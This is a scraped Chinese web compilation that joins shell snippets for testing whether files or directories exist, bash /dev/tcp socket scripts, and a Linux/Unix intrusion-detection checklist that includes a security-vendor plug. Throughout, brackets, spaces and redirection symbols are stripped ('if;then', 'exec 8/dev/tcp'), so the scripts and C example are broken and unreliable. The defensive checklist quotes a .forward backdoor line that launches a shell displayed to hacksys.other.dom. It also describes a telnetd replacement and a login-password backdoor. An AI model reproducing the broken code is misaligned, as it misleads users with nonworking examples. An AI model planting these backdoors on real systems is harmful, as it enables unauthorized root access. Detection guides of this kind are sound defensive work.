linux 判断是否是目录 linux查看软件版本的命令
linux判断目录是否存在命令linux判断目录
linux如何查看新建用户的主目录是什么?
可以通过查看系统文件/etc/passwd来查看新建用户的主目录。
linux判断文件是否存在?
两个方式:find命令或者shell脚本。
1、find命令(1)find是linux下用于查找文件的通用方法。(2)find语法:find(3)例如:find/tmp-namewa*-typel,是在/tmp下查找名为wa开头且类型为符号链接的文件。找到就表示存在。
2、shell脚本(1)在进行文件的自动处理中常常需要自动判别,下面的脚本判断test.log是否存在,存在则显示文件存在,否则显示文件不存在。(2)例子:编辑一个脚本判断文件是否存在。vit.sh#!/bin/bashif;then//这里是判断语句,-e表示进行比较结果为真则存在echo"文件存在"elseecho"文件不存在"fi保存退出执行:sht.sh
Linux下简单的判断目录中是否有新文件的Shell?
因shell还不是很熟练,所以做此笔记,方便查看。
#!/bin/sh
myPath="/var/log/httpd/"
myFile="/var/log/httpd/access.log"
#这里的-x参数判断$myPath是否存在并且是否具有可执行权限
if;then
mkdir"$myPath"
fi
#这里的-d参数判断$myPath是否存在
if;then
mkdir"$myPath"
fi
#这里的-f参数判断$myFile是否存在
if;then
touch"$myFile"
fi
#其他参数还有-n,-n是判断一个变量是否是否有值
if;then
echo"$myVarisempty"
exit0
fi
#两个变量判断是否相等
if;then
echo'$var1eq$var2'
else
echo'$var1noteq$var2'
fi
========================================
shell判断语句
流程控制"if"表达式如果条件为真则执行then后面的部分:if....;then
....
elif....;then
....
else
....
fi
大多数情况下,可以使用测试命令来对条件进行测试。比如可以比较字符串、判断文件是否存在及是否可读等等?通常用""来表示条件测试。注意这里的空格很重要。要确保方括号的空格。
:判断是否是一个文件
:判断/bin/ls是否存在并有可执行权限
:判断$var变量是否有值
:判断$a和$b是否相等-rfile用户可读为真
-wfile用户可写为真
-xfile用户可执行为真
-ffile文件为正规文件为真
-dfile文件为目录为真
-cfile文件为字符特殊文件为真
-bfile文件为块特殊文件为真
-sfile文件大小非0时为真
-tfile当文件描述符(默认为1)指定的设备为终端时为真
#########################################################
含条件选择的shell脚本
对于不含变量的任务简单shell脚本一般能胜任。但在执行一些决策任务时,就需要包含if/then的条件判断了。shell脚本编程支持此类运算,
包括比较运算、判断文件是否存在等。基本的if条件命令选项有:-eq—比较两个参数是否相等(例如,if)
-ne—比较两个参数是否不相等
-lt—参数1是否小于参数2
-le—参数1是否小于等于参数2
-gt—参数1是否大于参数2
-ge—参数1是否大于等于参数2
-f—检查某文件是否存在(例如,if)
-d—检查目录是否存在
几乎所有的判断都可以用这些比较运算符实现。脚本中常用-f命令选项在执行某一文件之前检查它是否存在。##################################################################判断文件是否存在
#!/bin/sh
today=`date-dyesterday+%y%m%d`
file="apache_$today.tar.gz"
cd/home/chenshuo/shell
if;then
echo"OK"
else
echo"error$file">error.log
mail-s"failbackupfromtest"linuxcy@126.comfi
Linux下如何查看一个目录下的内容?
在Linux下我们使用ls命令来查看一个目录下的内容,如果单单使用ls则会显示当前目录下的内容,而如果ls/etc这样后跟一个目录的话,则会显示etc这个目录下的内容,可以去看看《Linux就该这么学》这本书的第二章,介绍了很多常用的命令,非常适合初学者。
如何判断linux是文件还是目录?
如果是脚本可以通过ls-l命令来判断,因为目录第一个字母是d。如果是编程可以参考以下内容。manstat;stat.h中有判断是什么文件的宏:S_ISREG()普通文件S_ISDIR()目录文件S_ISCHR()字符特殊文件S_ISBLK()块特殊文件S_ISFIFO()管道或FIFOS_ISLNK()符号连接(POSIX.1或SVR4无此类型)S_ISSOCK()套接字(POSIX.1或SVR4无此类型)具体可以参照APUE文件目录相关章节。下面给出一个具体的例子:#includestdio.h>#includesys/stat.h>intmain(intargc,char*argv){structstatbuf;if(argc2){printf("NeedParameter");return-1;}if(lstat(argv,buf)0){printf("lstaterrorfor%srn",argv);return;}if(S_ISDIR(buf.st_mode))printf("%sIsDIRrn",argv);elseif(S_ISREG(buf.st_mode))printf("%sIsFILErn",argv);return0;}
linux shell 脚本实现tcp/upd协议通讯
linux设备里面有个比较特殊的文件:
/dev/[tcp|upd]/host/port只要读取或者写入这个文件,相当于系统会尝试连接:host这台机器,对应port端口。如果主机以及端口存在,就建立一个socket连接。将在,/proc/self/fd目录下面,有对应的文件出现。
一、测试下:/dev/tcp/host/post文件
复制代码
代码如下:
[chengmo@centos5 shell]$ cat/dev/tcp/127.0.0.1/22
SSH-2.0-OpenSSH_5.1
#我的机器shell端口是:22
#实际:/dev/tcp根本没有这个目录,这是属于特殊设备
[chengmo@centos5 shell]$ cat/dev/tcp/127.0.0.1/223
-bash: connect:拒绝连接
-bash:/dev/tcp/127.0.0.1/223:拒绝连接
#223接口不存在,打开失败
[chengmo@centos5 shell]$ exec 8/dev/tcp/127.0.0.1/22
[chengmo@centos5 shell]$ ls-l/proc/self/fd/
总计 0
lrwx------ 1 chengmo chengmo 64 10-21 23:05 0-/dev/pts/0
lrwx------ 1 chengmo chengmo 64 10-21 23:05 1-/dev/pts/0
lrwx------ 1 chengmo chengmo 64 10-21 23:05 2-/dev/pts/0
lr-x------ 1 chengmo chengmo 64 10-21 23:05 3-/proc/22185/fd
lrwx------ 1 chengmo chengmo 64 10-21 23:05 8- socket:[15067661]
#文件描述符8,已经打开一个socket通讯通道,这个是一个可以读写socket通道,因为用:""打开
[chengmo@centos5 shell]$ exec 8-
#关闭通道
[chengmo@centos5 shell]$ ls-l/proc/self/fd/
总计 0
lrwx------ 1 chengmo chengmo 64 10-21 23:08 0-/dev/pts/0
lrwx------ 1 chengmo chengmo 64 10-21 23:08 1-/dev/pts/0
lrwx------ 1 chengmo chengmo 64 10-21 23:08 2-/dev/pts/0
lr-x------ 1 chengmo chengmo 64 10-21 23:08 3-/proc/22234/fd
二、通过重定向读取远程web服务器头信息
复制代码
代码如下:
#!/bin/sh
#testhttphead.sh
#实现通过主机名,端口读取web服务器header信息
#copyright chengmo,qq:8292669
if(($#2));then
echo"usage:$0 host port";
exit 1;
fi
#如果参数缺失,退出程序,返回状态1
exec 6/dev/tcp/$1/$2 2/dev/null;
#打开host的port可读写的socket连接,与文件描述符6连接
if(($?!=0));then
echo"open$1$2 error!";
exit 1;
fi
#如果打开失败,$?返回不为0,终止程序
echo-e"HEAD/ HTTP/1.1/n/n/n/n/n"6;
#将HEAD信息,发送给socket连接
cat6;
#从socket读取返回信息,显示为标准输出
exec 6-;
exec 6-;
#关闭socket的输入,输出
exit 0;
脚本建立后:存为testhttphead.sh
运行结果:
复制代码
代码如下:
[chengmo@centos5~/shell]$ sh testhttphead.sh www.baidu.com 80
HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 15:17:23 GMT
Server: BWS/1.0
Content-Length: 6218
Content-Type: text/html;charset=gb2312
Cache-Control: private
Expires: Thu, 21 Oct 2010 15:17:23 GMT
Set-Cookie: BAIDUID=1C40B2F8C676180FD887379A6E286DC1:FG=1; expires=Thu, 21-Oct-40 15:17:23 GMT; path=/; domain=.baidu.com
P3P: CP=" OTI DSP COR IVA OUR IND COM"
Connection: Keep-Alive
[chengmo@centos5~/shell]$ sh testhttphead.sh 127.0.0.1 8080
open 127.0.0.1 8080 error!
突然有个奇怪想法:
我们在windows时代就通过telnet可以实现tcp/upd协议通讯,那么如果用传统方法怎么实现呢?
复制代码
代码如下:
[chengmo@centos5~/shell]$ echo-e"HEAD/ HTTP/1.1/n/n/n/n/n"|telnet www.baidu.com 80
Trying 220.181.6.175...
Connected to www.baidu.com.
Escape character is'^]'.
Connection closed by foreign host.
#直接给发送,失败
[chengmo@centos5~/shell]$(telnet www.baidu.com 80)EOF
HEAD/ HTTP/1.1
EOF
Trying 220.181.6.175...
Connected to www.baidu.com.
Escape character is'^]'.
Connection closed by foreign host.
#重定向输入,还是失败?
找到正确方法:
复制代码
代码如下:
[chengmo@centos5 shell]$(echo-e"HEAD/ HTTP/1.1/n/n/n/n/n";sleep 2)|telnet www.baidu.com 80
Trying 220.181.6.175...
Connected to www.baidu.com.
Escape character is'^]'.
HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 15:51:58 GMT
Server: BWS/1.0
Content-Length: 6218
Content-Type: text/html;charset=gb2312
Cache-Control: private
Expires: Thu, 21 Oct 2010 15:51:58 GMT
Set-Cookie: BAIDUID=0B6A01ACECD5353E4247E088A8CB345A:FG=1; expires=Thu, 21-Oct-40 15:51:58 GMT; path=/; domain=.baidu.com
P3P: CP=" OTI DSP COR IVA OUR IND COM"
Connection: Keep-Alive
#成功了!加入sleep居然可以了,sleep改成1秒也可以
是不是由于sleep后,echo会推出2秒发给通道:telnet呢?推论可以从这2个方面推翻:
一个方面:通过()括的数据是一对命令,会作为一个子命令执行,一起执行完程序结束。每个命令echo语句,就直接发送到屏幕(也就是标准输出),只要有标准输出了,就会通过通道马上传个:telnet,如果接下来命令还有输出,会注意传给telnet,直到()内所有命令执行完,与通道连接就断开了。
再一个方面:如果说是起到推迟发送的话,什么时候有数据过来,发给telnet,什么时候telnet命令启动。跟你推迟一点还是早一点发送过来。没有关系。
这种类型命令,看出sleep,其实就是保持通道跟telnet连接2秒钟。通道连接着了,telnet终端输入也还在,因此可以保持从baidu服务器获得数据。
所以,延迟多久,还是跟服务器处理速度有关系。
如果通过echo向telnet发送数据,保持通道联通,使用sleep是个很好方法。
通过重定向给telnet输入参数这种方法,我还想不到怎么样实现延迟输入。有知道朋友,可以指点指点.
区别:
telnet与echo实现 http访问,与通过打开读写socket是不一样的,打开socket通道,是可以进行交换处理的。传入命令,活动结果,再传入命令,再获得结果。telnet通过echo就不能这样处理了。
三、通过shell脚本重定向实现监控memcache状态
复制代码
代码如下:
#!/bin/sh
#通过传入ip以及端口,发送指令获得返回数据
#copyright chengmo qq:8292669
#函数往往放到最上面
function sendmsg()
{
msg=$1;
echo"$1"8;
getout;
}
#向socket通道发送指令,并且调用获得返回参数
function getout()
{
#read命令-u从打开文件描述符 8读取数据,-d读取数据忽略掉:/r换行符
while read-u 8-d$'/r' name;
do
if ["${name}"=="END"-o"${name}"=="ERROR" ];then
break;
fi;
echo$name;
done
}
#由于:memcached每次通讯完毕,会返回:END或者ERROR(出错),通过判断是否是"END"觉得读取是不是结束,否则循环不会停止
if [$#-lt 2 ];then
echo"usage:$0 host port [command]";
exit 1;
fi;
[[$#-gt 2 ]]command=$3;
#设置默认值如果command为定义则为:stats
command="${command=stats}";
host="$1";
port="$2";
exec 8/dev/tcp/${host}/${port};
#打开通向通道是8
if ["$?"!="0" ];then
echo"open$host$port fail!";
exit 1;
fi
sendmsg"$command";
#发送指定命令
sendmsg"quit";
#发送退出通向命令
exec 8-;
exec 8-;
#关闭socket通道
exit 0;
这是通过重定向,实现socket通讯中,发送然后获取返回的例子。其实,上面代码看似一次只能发送一段。时间上。我们可以反复调用:sendmsg,捕捉输出数据。实现连续的,读与写操作。
实例截图:
其它实现方法:
其实通过:telnet也可以实现的。
[chengmo@centos5 shell]$(echo"stats";sleep 2)|telnet 127.0.0.1 11211
通过nc命令实现:
[chengmo@centos5 shell]$(echo"stats")|nc 127.0.0.1 11211
不需要加延迟,直接打开通道
第二个程序里面,看到shell完全可以处理交互设计了。如果按照这样,登陆ftp,pop3,stmp都可以类似实现。这些,我们通过shell socket类似程序实现,应该不困难,只是捕捉如发送解析的问题了。
Linux如何判断自己的服务器是否被入侵
1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls–l/etc/passwd查看文件修改的日期。
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。
1
awk–F:’$3==0{print$1}’/etc/passwd
顺便再检查一下系统里有没有空口令帐户:
1
awk–F:‘length($2)==0{print$1}’/etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps–aef| grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd–s/tmp/.xxx之类的进程,着重看inetd–s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd–s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps–aef查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill–9 pid开杀死该进程,然后再运行ps–aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find/-name程序名–print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J
UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat/etc/inetd.conf| grep–v“^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat-an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat–rn,查看本机的路由、网关设置是否正确。
输入 ifconfig–a,查看网卡设置。
5、检查系统日志
命令last| more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls–al/var/log
在solaris下输入 ls–al/var/adm
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find/-name core–exec ls–l{} \;依据core所在的目录、查询core文件来判断是否有入侵行为。
7、.rhosts和.forward
这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:
find/-name“.rhosts”–print
find/-name“.forward”–print
在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
看到这里如果想要深入的做安全加固服务以及安全部署
就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。
Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一用户$HOME下的.forward可能设置如下:
\username|"/usr/local/X11/bin/xterm-disp hacksys.other.dom:0.0–e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases).注意这只是一种简单的变换.更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序,很有可能还有问题。在Solaris系统下,如果你运行如下命令:
ln-s/var/mail/luser~/.forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。
直接删除掉这两个文件也可以。
8、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls–l文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm–V `rpm–qf文件名`来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门:
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum文件名检查该文件的md5签名。它的使用格式如下:md5sum–b使用二进制方式阅读文件;md5sum–c逆向检查MD5签名;md5sum–t使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root/usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是/usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat/etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx.sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find–perm 4000–print对此类文件进行全局查找,然后删除这样的文件。
9、检查内核级后门
如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。